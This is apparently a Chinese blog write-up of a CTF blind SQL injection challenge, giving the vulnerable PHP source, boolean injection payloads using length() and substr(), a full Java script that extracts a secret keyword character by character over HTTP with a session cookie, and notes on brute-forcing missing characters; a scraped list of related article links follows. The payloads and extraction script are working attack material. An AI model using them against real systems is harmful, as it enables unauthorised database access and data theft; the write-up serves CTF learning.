利用java编写的盲注脚本
之前在网上见到一个盲注的题目,正好闲来无事,便用java写了个盲注脚本,并记录下过程中的坑
题目源码:
<?php
header("Content-Type: text/html;charset=utf-8");
session_start();
require_once 'sql.php';
if((!isset($_SESSION["session"])) or (!isset($_COOKIE["username"]))){
echo "您还未登录,3秒后跳转到登录处!";
header("Refresh:3;url=index.php");
exit();
} function inject_check($sql_str) {
return preg_match('|\$|', $sql_str);
} if ($_COOKIE["PHPSESSID"] == $_SESSION["session"]){
if (inject_check($_GET['id'])){
header("HTTP/1.1 400 Bad Request");
exit('GET 400 Bad Request:/'.$_SERVER['QUERY_STRING']);
}else{
$id=$_GET['id'];
}
mysql_select_db("test",$conn) or exit("DB Select Failure</br>");
$sql="select * from id where id = $id";//注入点
$res=mysql_query($sql,$conn) or exit("DB Query Failure</br>");
$num = mysql_num_rows($res);
echo "Return ".$num." rows";
}else{
header("location:index.php");
} ?>
从源码中来读可以发现,SQL语句是直接拼接的,其中只用了正则匹配了$符号
(但因为比赛的时候没有源码,导致我脚本一直没跑对)
发现访问页面后,会返回查询SQL的返回条数
直接返回Return 1 rows,当我们在后面输入 and 1=2的时候
返回就变成0条了
可以初步判断存在注入,题目又给出了表名和要跑的列名
利用MySQL的length函数判断keyword的长度
select * from id where id = 1 and length((select keyword from id))=13
判断出keyword的长度为13,进一步利用substr函数一字符一字符的获取,并与字典比较
当相等时,页面就会返回Return 1 rows
利用java编写脚本
大概盲注思路出来后,便用java编写脚本
程序中,放入两个嵌套循环,一个控制我们substr获取的偏移数,另一个循环控制我们要对比的字符
阅读题目源码的时候发现,页面会对session和cookie中的username参数做验证,如果不存在,则会跳转到登录页面
所以访问的时候还得带上cookie
脚本源码如下:
package test; import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection; public class sql { public static void main(String[] args) throws IOException {
// TODO Auto-generated method stub
BufferedReader in = null;
String cookie = "username=admin;PHPSESSID=72nd4r1p9g4o6fqp5hhrri0sh5";
URL url = null;
String str = null;
for (int i=1;i<14;i++) {
String cs=String.valueOf(i);
in = new BufferedReader(new FileReader("C:\\Users\\Administrator\\Desktop\\superdic.txt"));
while((str = in.readLine()) != null) {
String urlPath = "http://localhost/flag.php?id=1%20and%20substr((select%20keyword%20from%20id),"+cs+",1)='"+str+"'";;
try {
url = new URL(urlPath);
} catch (MalformedURLException e) {
System.out.println("error:"+cs);
}
URLConnection conn = url.openConnection();
conn.setRequestProperty("Cookie", cookie);
conn.setDoInput(true);
BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuilder sb = new StringBuilder();
String line = null;
line = br.readLine();
sb.append(line);
if("Return 1 rows".equals(sb.toString())) {
System.out.println(cs+str);
break;
}
}
} in.close();
} }
其中C:\\Users\\Administrator\\Desktop\\superdic.txt中存放的就是我们要对比的字符字典
运行脚本后发现
程序返回400了
我们刚才注入length函数返回的结果明明是13,怎么这只跑出来三个字符就结束了(其实是过滤了)
我们把字典中的$去掉,接着跑
可以看到,跑是跑出来了,可以缺了第4个和第10个字符
所以只能得到Key?s+P4y?0ad的字符串其中两个字符未知
通过爆破得到
既然注入不出来,那我就到提交flag的地方爆破
将我们刚才注入的结果写入
然后抓包
抓包模式一定要选择Cluster bomb
然后配置好后,开始爆破
爆破发现,不管怎么查看结果都是错误的,Length都是一样长
后面反省自己是不是什么步骤错了
URL怀疑人生
反复查看自己的脚本,发现我的脚本去请求服务器的时候会进行一次URL解密
而+号解密的结果正好是空格.....
所以只需要在刚才爆破的时候把%2B改成+就可以了
最后得到flag:
利用java编写的盲注脚本的更多相关文章
- WEB安全 ACCESS 注入、盲注脚本
http://www.xxx.cn/cp.asp?classid=3http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字http://www.xxx.cn/c ...
- 盲注脚本2.基于bool
盲注脚本2.基于bool #!/usr/bin/env python #encoding:utf-8 #by i3ekr #using # python sqlinject.py -D "数 ...
- Golang 盲注脚本
Golang 盲注脚本 payload部分 其中脚本最重要的环节就是payload部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果.(还有如何绕过waf等等...) bool盲注 下面是最基 ...
- 动态调试|Maccms SQL 注入分析(附注入盲注脚本)
0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...
- 用python写一个自动化盲注脚本
前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行 ...
- 利用order by 进行盲注
0x01 利用场景 登录代码: $username = $_POST['username']; $password = $_POST['password']; if(filter($username) ...
- 【Python】测试布尔型盲注脚本
sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...
- java编写jmeter压测脚本
目前项目中接触的比较多的是接口测试,功能测个差不多后会对部分接口进行压测,采用的是java编写脚本,导入jmeter进行压测. 使用到的jmeter的相关包 写一个测试类,继承AbstractJava ...
- 利用Java编写简单的WebService实例
使用Axis编写WebService比較简单,就我的理解,WebService的实现代码和编写Java代码事实上没有什么差别,主要是将哪些Java类公布为WebService. 以下是一个从编写測试样 ...
随机推荐
- 没有备份怎么恢复被drop的表(利用undrop-for-innodb)
介绍: 也许大家都难以理解,这么重要的数据为啥不备份(或者备份不可用)?而且还任性的drop table了.显然有备份是最好的,但是它们并不总是可用的.这种情况令人恐惧,但并非毫无希望.在许多 ...
- 自动化监控白皮书——WAS监控
WebSphere(WAS)是一些大型企业常用的中间件,由于was自身提供的工具有时不能满足多样化的监控需求,而我们又会经常遇到对was进行监控的应用场景,所以我们有必要自己动手做一些was的监控脚本 ...
- JS/Jquery版本的俄罗斯方块(附源码分析)
转载于http://blog.csdn.net/unionline/article/details/63250597 且后续更新于此 1.前言 写这个jQuery版本的小游戏的缘由在于我想通过从零到有 ...
- Oracle12c 性能优化攻略:攻略1-2:创建具有最优性能的表空间
问题描述: 1:表空间是存储数据库对象(例如索引 .表)的逻辑容器. 2:在创建数据库对象不为其指定存储属性,则相应的表和索引会自动继承表空间的存储特性. 故:若需要好的索引.表的性 ...
- sublime text 3配置c/c++编译环境
关于gcc和g++ 安装编译器是后面所有工作的基础,如果没有编译器,后面的一切都无从谈起.在windows下使用gcc和g++,是通过安装MinGW实现的. 安装MinGW MinGW是Minimal ...
- python-随机操作(random)
random模块作用是返回随机数,只要跟随机元素相关的,都可以使用它. Python标准库中的random函数,可以生成随机浮点数.整数.字符串,甚至帮助你随机选择列表序列中的一个元素,打乱一组数据等 ...
- 2017-2018-2 20155309南皓芯 Exp8 WEB基础实践
基础问题回答 (1)什么是表单 表单在网页中主要负责数据采集功能.一个表单有三个基本组成部分: 表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法. 表单域:包含了文本 ...
- hdu 2544 hdu 1874 poj 2387 Dijkstra 模板题
hdu 2544 求点1到点n的最短路 无向图 Sample Input2 1 //结点数 边数1 2 3 //u v w3 31 2 52 3 53 1 20 0 Sample Output32 ...
- bzoj3687
3687: 简单题 Time Limit: 10 Sec Memory Limit: 512 MBSubmit: 700 Solved: 319[Submit][Status][Discuss] ...
- python全栈开发day21面向对象初识总结